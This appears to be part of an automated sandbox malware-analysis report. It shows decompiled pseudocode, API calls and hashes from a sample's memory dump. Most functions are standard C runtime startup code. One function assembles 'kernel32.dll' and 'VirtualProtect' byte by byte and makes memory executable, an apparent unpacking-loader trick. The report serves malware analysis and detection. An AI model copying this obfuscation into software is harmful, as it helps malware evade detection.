0x0041b7a5
0x0041b7ac
0x0041b7b2
0x0041b7b2
0x0041b7b7
0x0041b7bc
0x0041b804
0x0041b80a
0x0041b818

APIs

_check_managed_app.LIBCMTD ref: 0041B6BC
__heap_init.LIBCMTD ref: 0041B6C6

Part of subcall function 00428FE0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B6CB,00000001), ref: 00428FF6

_fast_error_exit.LIBCMTD ref: 0041B6D4

Part of subcall function 0041B820: ___crtExitProcess.LIBCMTD ref: 0041B844

_fast_error_exit.LIBCMTD ref: 0041B6E7
__RTC_Initialize.LIBCMTD ref: 0041B6F9
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B722
___wsetargv.LIBCMTD ref: 0041B72C
__wsetenvp.LIBCMTD ref: 0041B73F
__cinit.LIBCMTD ref: 0041B754
__wwincmdln.LIBCMTD ref: 0041B771

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3184702096-0
Opcode ID: c44533982c3d2f23f602dc996422f12ff18335f0a954734c010712f49a8db16d
Instruction ID: 0482eb877d15569fe067e0bd2f5f618f34e4d64157f2c37e5951f861a1ff0261
Opcode Fuzzy Hash: c44533982c3d2f23f602dc996422f12ff18335f0a954734c010712f49a8db16d
Instruction Fuzzy Hash: EA31B5B5E013249AEB10FBB2B9027DE7360EF5470CF50412FF5199B282EB799440CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00426B90, Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00426B90() {
				void* _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				struct _STARTUPINFOA _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				int _v116;
				signed char* _v120;
				void* _v124;
				void** _v128;
				void** _v132;
				int _v140;
				long _v144;
				signed int _t166;
				signed int _t170;
				signed int _t175;
				signed int _t188;
				signed int _t206;
				void** _t209;
				signed int _t321;
				void* _t322;
				intOrPtr _t323;
				void* _t324;

				_push(0xfffffffe);
				_push(0x43df00);
				_push(E0041E800);
				_push( *[fs:0x0]);
				_t323 = _t322 + 0xffffff84;
				_t166 =  *0x440354; // 0x8c5b84b0
				_v12 = _v12 ^ _t166;
				_push(_t166 ^ _t321);
				 *[fs:0x0] =  &_v20;
				_v28 = _t323;
				_v8 = 0;
				GetStartupInfoA( &_v100);
				_v8 = 0xfffffffe;
				_t170 = L0041BE50(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0x88); // executed
				_t324 = _t323 + 0x14;
				_v128 = _t170;
				if(_v128 != 0) {
					 *0x54b840 = _v128;
					 *0x54b83c = 0x20;
					while(_v128 <  *0x54b840 + 0x800) {
						_v128[1] = 0;
						 *_v128 = 0xffffffff;
						_v128[1] = 0xa;
						_v128[2] = 0;
						_v128[9] = _v128[9] & 0x00000080;
						_v128[9] = _v128[9] & 0x0000007f;
						_v128[9] = 0xa;
						_v128[9] = 0xa;
						_v128[0xe] = 0;
						_v128[0xd] = 0;
						_v128 =  &(_v128[0x10]);
					}
					if((_v100.cbReserved2 & 0x0000ffff) == 0 || _v100.lpReserved2 == 0) {
						L34:
						_v112 = 0;
						while(_v112 < 3) {
							_v128 = (_v112 << 6) +  *0x54b840;
							if( *_v128 == 0xffffffff ||  *_v128 == 0xfffffffe) {
								_v128[1] = 0x81;
								if(_v112 != 0) {
									asm("sbb edx, edx");
									_v144 =  ~(_v112 - 1) + 0xfffffff5;
								} else {
									_v144 = 0xfffffff6;
								}
								_v124 = GetStdHandle(_v144);
								if(_v124 == 0xffffffff || _v124 == 0) {
									L52:
									_v128[1] = _v128[1] | 0x00000040;
									 *_v128 = 0xfffffffe;
									goto L53;
								} else {
									_v108 = GetFileType(_v124);
									if(_v108 == 0) {
										goto L52;
									} else {
										 *_v128 = _v124;
										if((_v108 & 0x000000ff) != 2) {
											if((_v108 & 0x000000ff) == 3) {
												_v128[1] = _v128[1] | 0x00000008;
											}
										} else {
											_v128[1] = _v128[1] | 0x00000040;
										}
										_t188 = E0042C1B0( &(_v128[3]), 0xfa0);
										_t324 = _t324 + 8;
										if(_t188 != 0) {
											_v128[2] = _v128[2] + 1;
											L53:
											goto L55;
										} else {
											_t175 = _t188 | 0xffffffff;
										}
									}
								}
							} else {
								_v128[1] = _v128[1] | 0x00000080;
								L55:
								_v112 = _v112 + 1;
								continue;
							}
							goto L57;
						}
						SetHandleCount( *0x54b83c);
						_t175 = 0;
					} else {
						_v116 =  *(_v100.lpReserved2);
						_v120 = _v100.lpReserved2 + 4;
						_v132 =  &(_v120[_v116]);
						if(_v116 >= 0x800) {
							_v140 = 0x800;
						} else {
							_v140 = _v116;
						}
						_v116 = _v140;
						_v104 = 1;
						while( *0x54b83c < _v116) {
							_t209 = L0041BE50(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0xc0);
							_t324 = _t324 + 0x14;
							_v128 = _t209;
							if(_v128 != 0) {
								 *((intOrPtr*)(0x54b840 + _v104 * 4)) = _v128;
								 *0x54b83c =  *0x54b83c + 0x20;
								while(_v128 <  *((intOrPtr*)(0x54b840 + _v104 * 4)) + 0x800) {
									_v128[1] = 0;
									 *_v128 = 0xffffffff;
									_v128[1] = 0xa;
									_v128[2] = 0;
									_v128[9] = _v128[9] & 0x00000080;
									_v128[9] = 0xa;
									_v128[9] = 0xa;
									_v128[0xe] = 0;
									_v128[0xd] = 0;
									_v128 =  &(_v128[0x10]);
								}
								_v104 = _v104 + 1;
								continue;
							} else {
								_v116 =  *0x54b83c;
							}
							break;
						}
						_v112 = 0;
						while(_v112 < _v116) {
							if( *_v132 == 0xffffffff ||  *_v132 == 0xfffffffe || ( *_v120 & 0x00000001) == 0 || ( *_v120 & 0x00000008) == 0 && GetFileType( *_v132) == 0) {
								L33:
								_v112 = _v112 + 1;
								_v120 =  &(_v120[1]);
								_v132 =  &(_v132[1]);
								continue;
							} else {
								_v128 = ((_v112 & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + (_v112 >> 5) * 4));
								 *_v128 =  *_v132;
								_v128[1] =  *_v120;
								_t206 = E0042C1B0( &(_v128[3]), 0xfa0);
								_t324 = _t324 + 8;
								if(_t206 != 0) {
									_v128[2] =  *((intOrPtr*)(_v128 + 8)) + 1;
									goto L33;
								} else {
									_t175 = _t206 | 0xffffffff;
								}
							}
							goto L57;
						}
						goto L34;
					}
				} else {
					_t175 = _t170 | 0xffffffff;
				}
				L57:
				 *[fs:0x0] = _v20;
				return _t175;
			}

0x00426b95
0x00426b97
0x00426b9c
0x00426ba7
0x00426ba8
0x00426bae
0x00426bb3
0x00426bb8
0x00426bbc
0x00426bc2
0x00426bc5
0x00426bd0
0x00426bd6
0x00426c1b
0x00426c20
0x00426c23
0x00426c2a
0x00426c37
0x00426c3d
0x00426c52
0x00426c64
0x00426c6b
0x00426c74
0x00426c7b
0x00426c8d
0x00426c9b
0x00426ca1
0x00426ca8
0x00426caf
0x00426cb9
0x00426c4f
0x00426c4f
0x00426cc5
0x00426ec3
0x00426ec3
0x00426ed5
0x00426eeb
0x00426ef4
0x00426f05
0x00426f0d
0x00426f23
0x00426f28
0x00426f0f
0x00426f0f
0x00426f0f
0x00426f3b
0x00426f42
0x00426fd9
0x00426fe6
0x00426fec
0x00000000
0x00426f52
0x00426f5c
0x00426f63
0x00000000
0x00426f65
0x00426f6b
0x00426f79
0x00426f99
0x00426fa8
0x00426fa8
0x00426f7b
0x00426f88
0x00426f88
0x00426fb7
0x00426fbc
0x00426fc1
0x00426fd4
0x00426ff2
0x00000000
0x00426fc3
0x00426fc3
0x00426fc3
0x00426fc1
0x00426f63
0x00426ff4
0x00427003
0x00427006
0x00426ed2
0x00000000
0x00426ed2
0x00000000
0x00426ef4
0x00427012
0x00427018
0x00426cd5
0x00426cda
0x00426ce3
0x00426cec
0x00426cf6
0x00426d03
0x00426cf8
0x00426cfb
0x00426cfb
0x00426d13
0x00426d16
0x00426d28
0x00426d47
0x00426d4c
0x00426d4f
0x00426d56
0x00426d6b
0x00426d7a
0x00426d8a
0x00426da1
0x00426da8
0x00426db1
0x00426db8
0x00426dca
0x00426dd0
0x00426dd7
0x00426dde
0x00426de8
0x00426d87
0x00426d87
0x00426d25
0x00000000
0x00426d58
0x00426d5d
0x00426d5d
0x00000000
0x00426d56
0x00426df3
0x00426e17
0x00426e29
0x00426ebe
0x00426e02
0x00426e0b
0x00426e14
0x00000000
0x00426e61
0x00426e77
0x00426e82
0x00426e8c
0x00426e9b
0x00426ea0
0x00426ea5
0x00426ebb
0x00000000
0x00426ea7
0x00426ea7
0x00426ea7
0x00426ea5
0x00000000
0x00426e29
0x00000000
0x00426e17
0x00426c2c
0x00426c2c
0x00426c2c
0x0042701a
0x0042701d
0x0042702b

APIs

GetStartupInfoA.KERNEL32(?), ref: 00426BD0
GetFileType.KERNEL32(?), ref: 00426E57

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c, xrefs: 00426C10, 00426D3C

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: FileInfoStartupType
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
API String ID: 3016745765-4097262939
Opcode ID: d0d74fa1bf684978d642d0e7f61eaacd9e39bff2037d9551e097d600121005ae
Instruction ID: 3541f8faeae03daff07a9b6c434d49f4e9a9a80c59f1d3a1085c3e81a6d2eb9c
Opcode Fuzzy Hash: d0d74fa1bf684978d642d0e7f61eaacd9e39bff2037d9551e097d600121005ae
Instruction Fuzzy Hash: CCE13774E04258CFDB24CFA8D890BADFBB1BB49318F25825ED8256B392C7359846CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00560420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00560533

Strings

d, xrefs: 00560584
0, xrefs: 00560492
mfoaskdfnoa, xrefs: 00560520, 00560523
saodkfnosa9uin, xrefs: 005604DA

Memory Dump Source

Source File: 00000000.00000002.664684396.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_sbxGIUIhRd.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: a5e1311395c5df9e54fd5bcea512f8aef2f5e57e58078444bb670434fdbc8f62
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 03511A70D08388DAEB11CBD8C849BDEBFB26F21708F144058D5457F2C6C7BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0041BD8E, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E0041BD8E(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t25;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t34;
				void* _t35;
				void* _t36;
				intOrPtr _t38;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t50;

				_t47 = __esi;
				_t46 = __edi;
				_t36 = __ecx;
				_t35 = __ebx;
				asm("sbb eax, eax");
				_t25 = 0xffffffe0 /  *(_t48 + 8) + 1;
				 *((intOrPtr*)(_t48 - 8)) = _t25;
				if(_t25 == 0) {
					_push(L"(_HEAP_MAXREQ / nNum) >= nSize");
					_push(0);
					_push(0x248);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
					_push(2);
					_t34 = L0041E390();
					_t50 = _t50 + 0x14;
					if(_t34 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t48 - 8)) != 0) {
					 *(_t48 + 0xc) =  *(_t48 + 0xc) *  *(_t48 + 8);
					_t38 =  *0x54adb0; // 0x0
					_t28 = L0041B960(_t38,  *(_t48 + 0xc), _t38,  *((intOrPtr*)(_t48 + 0x10)),  *((intOrPtr*)(_t48 + 0x14)),  *((intOrPtr*)(_t48 + 0x18)),  *((intOrPtr*)(_t48 + 0x1c))); // executed
					 *((intOrPtr*)(_t48 - 4)) = _t28;
					if( *((intOrPtr*)(_t48 - 4)) != 0) {
						E0041B520(_t46,  *((intOrPtr*)(_t48 - 4)), 0,  *(_t48 + 0xc));
					}
					_t29 =  *((intOrPtr*)(_t48 - 4));
				} else {
					 *((intOrPtr*)(L00422E80(_t36))) = 0xc;
					E00422C10(_t35, _t36, _t46, _t47, L"(_HEAP_MAXREQ / nNum) >= nSize", L"_calloc_dbg_impl", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x248, 0);
					_t29 = 0;
				}
				return _t29;
			}

0x0041bd8e
0x0041bd8e
0x0041bd8e
0x0041bd8e
0x0041bd9b
0x0041bd9d
0x0041bda0
0x0041bda3
0x0041bda5
0x0041bdaa
0x0041bdac
0x0041bdb1
0x0041bdb6
0x0041bdb8
0x0041bdbd
0x0041bdc3
0x0041bdc5
0x0041bdc5
0x0041bdc3
0x0041bdca
0x0041be00
0x0041be13
0x0041be1e
0x0041be26
0x0041be2d
0x0041be39
0x0041be3e
0x0041be41
0x0041bdcc
0x0041bdd1
0x0041bded
0x0041bdf5
0x0041bdf5
0x0041be47

APIs

__invalid_parameter.LIBCMTD ref: 0041BDED
_memset.LIBCMT ref: 0041BE39

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041BDB1, 0041BDDE
_calloc_dbg_impl, xrefs: 0041BDE3
(_HEAP_MAXREQ / nNum) >= nSize, xrefs: 0041BDA5, 0041BDE8

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: (_HEAP_MAXREQ / nNum) >= nSize$_calloc_dbg_impl$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3961059608-1805389939
Opcode ID: 973785d389501b83bd51f72fce11bb49d80cd2e0ac4e311c7c108e3cc9b6d90f
Instruction ID: e12def43d57a9dabe8969c6b63930a748f433e5b56529be670ca02508a8d5400
Opcode Fuzzy Hash: 973785d389501b83bd51f72fce11bb49d80cd2e0ac4e311c7c108e3cc9b6d90f
Instruction Fuzzy Hash: F511B971B40208BBDB04DF94DD86FDE3765EB58704F10815AFA08AB2C1D778E9408799

Uniqueness

Uniqueness Score: -1.00%

Function 00419B9E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E00419B9E(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t5;

				_push("VirtualProtect");
				"VirtualProtect" = 0x6b;
				"irtualProtect" = 0x65;
				"rtualProtect" = 0x72;
				"rotect" = 0x2e;
				 *0x441771 = 0x64;
				 *0x441772 = 0x6c;
				 *0x441774 = 0;
				M0044176B = 0x6e;
				M0044176C = 0x65;
				M0044176D = 0x6c;
				M0044176E = 0x33;
				M0044176F = 0x32;
				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5447ec = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x443950,  *0x54abf4, 0x40, _t5 + 1); // executed
				return _t3;
			}

0x00419b9f
0x00419ba4
0x00419bab
0x00419bb2
0x00419bb9
0x00419bc0
0x00419bc7
0x00419bce
0x00419bd5
0x00419bdc
0x00419be3
0x00419bea
0x00419bf1
0x00419bf4
0x00419bf6
0x00419bf8
0x00419bff
0x00419c05
0x00419c16
0x00419c23
0x00419c2a
0x00419c31
0x00419c38
0x00419c3f
0x00419c46
0x00419c4d
0x00419c54
0x00419c5b
0x00419c62
0x00419c69
0x00419c70
0x00419c77
0x00419c7e
0x00419c85

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419BFF
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419C7E

Strings

VirtualProtect, xrefs: 00419B9F

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID: VirtualProtect
API String ID: 3279857687-268857135
Opcode ID: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction ID: a44d3fd7188d438d037021823585f88e8d970895fa3d624442d68c6aa49d3ab3
Opcode Fuzzy Hash: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction Fuzzy Hash: 69211B2C54C7C0D9E302E738EE087453E969323769F1841A991D55A2B2C7FF21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 005605B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 005605EC

Strings

apfHQ, xrefs: 005605E2, 005605E5
o, xrefs: 00560600

Memory Dump Source

Source File: 00000000.00000002.664684396.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_sbxGIUIhRd.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 5e3499b66a4e4deb7e00ff58516b0b2a13b176343ddb8cf46416e096a8e2741f
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 6B012170C0424CEEDF10DB98C5183AEBFB5AF41308F1480D9C4092B282D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0041B97F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041B97F(intOrPtr __eax, void* __ecx) {
				intOrPtr _t20;
				void* _t27;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t27 - 4)) = __eax;
					if( *((intOrPtr*)(_t27 - 4)) != 0) {
						break;
					}
					L3:
					if( *((intOrPtr*)(_t27 + 0xc)) != 0) {
						L5:
						if(E00429360(__ecx,  *((intOrPtr*)(_t27 + 8))) != 0) {
							L7:
							L1:
							L0041B9D0( *((intOrPtr*)(_t27 + 8)),  *((intOrPtr*)(_t27 + 0x10)),  *((intOrPtr*)(_t27 + 0x14)),  *((intOrPtr*)(_t27 + 0x18)),  *((intOrPtr*)(_t27 + 0x1c)));
							continue;
						} else {
							L6:
							 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
							_t20 = 0;
						}
					} else {
						L4:
						 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
						_t20 =  *((intOrPtr*)(_t27 - 4));
					}
					L8:
					return _t20;
					L9:
				}
				L2:
				_t20 =  *((intOrPtr*)(_t27 - 4));
				goto L8;
			}

0x0041b97f
0x0041b97f
0x0041b97f
0x0041b982
0x0041b989
0x00000000
0x00000000
0x0041b990
0x0041b994
0x0041b9a4
0x0041b9b2
0x0041b9c1
0x0041b966
0x0041b97a
0x00000000
0x0041b9b4
0x0041b9b4
0x0041b9b7
0x0041b9bd
0x0041b9bd
0x0041b996
0x0041b996
0x0041b999
0x0041b99f
0x0041b99f
0x0041b9c3
0x0041b9c6
0x00000000
0x0041b9c6
0x0041b98b
0x0041b98b
0x00000000

Strings

QQ, xrefs: 0041B979

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 23b3d06fc1a93e7388f54b0657548d5abcc68d7a3f46634f22e9f54542372d80
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: D901F6F1A14109EBDB04CF55D980BEA73A4EF48304F10855AFA0987240D338EA92DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00419BF4, Relevance: 3.0, APIs: 2, Instructions: 28
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00419BF4(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t6;

				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5447ec = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x443950,  *0x54abf4, 0x40, _t6 + 1); // executed
				return _t3;
			}

0x00419bf4
0x00419bf6
0x00419bf8
0x00419bff
0x00419c05
0x00419c16
0x00419c23
0x00419c2a
0x00419c31
0x00419c38
0x00419c3f
0x00419c46
0x00419c4d
0x00419c54
0x00419c5b
0x00419c62
0x00419c69
0x00419c70
0x00419c77
0x00419c7e
0x00419c85

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419BFF
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419C7E

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: bd4329cd2658ec523e57c56e8e59f25343379e45eb2a56a684a67b9df5abf011
Instruction ID: 46ff8a631e59bb478556cfaaa0542c845c6034905532f1148b192b7c6e3db230
Opcode Fuzzy Hash: bd4329cd2658ec523e57c56e8e59f25343379e45eb2a56a684a67b9df5abf011
Instruction Fuzzy Hash: 23018C2C44C3C0DDE302E778AE087413F96D727759F0841A8D1A55A2B2C7BA21A8CB2E

Uniqueness

Uniqueness Score: -1.00%

Function 004246B0, Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004246B0() {
				void* _t1;

				_t1 = E004245E0(0); // executed
				return _t1;
			}

0x004246b7
0x004246c0

APIs

__encode_pointer.LIBCMTD ref: 004246B7

Part of subcall function 004245E0: TlsGetValue.KERNEL32(00000001), ref: 004245F5
Part of subcall function 004245E0: TlsGetValue.KERNEL32(00000001,00000001), ref: 00424616
Part of subcall function 004245E0: __crt_wait_module_handle.LIBCMTD ref: 0042462C
Part of subcall function 004245E0: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00424646
Part of subcall function 004245E0: RtlEncodePointer.NTDLL(?), ref: 00424667

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 48e1db305f3dde264b098b33fc937a061154777a795f0bae2846fa790d0dd859
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 1EA0126664421833D00020833803B02390C87C0B78E480022FA0C051423852A5508097

Uniqueness

Uniqueness Score: -1.00%

Function 0041B620, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;

				E00428550(); // executed
				_t2 = L0041B640(_t3, _t4, _t5); // executed
				return _t2;
			}

0x0041b625
0x0041b62a
0x00000000

APIs

___security_init_cookie.LIBCMTD ref: 0041B625

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 52422613817a88944e371b4f66b4a427ba77d32d6ea1bc63d67825c3649230ec
Instruction ID: 209d61da333cc2f049f98aa065dd7c8724623fd8c320078ce52eee0f1ee86db3
Opcode Fuzzy Hash: 52422613817a88944e371b4f66b4a427ba77d32d6ea1bc63d67825c3649230ec
Instruction Fuzzy Hash: 77A00261115A6C26455037AB5507A4E754D8CD47587D5041E7518021032D5CA88150EF

Uniqueness

Uniqueness Score: -1.00%

Function 00419C87, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

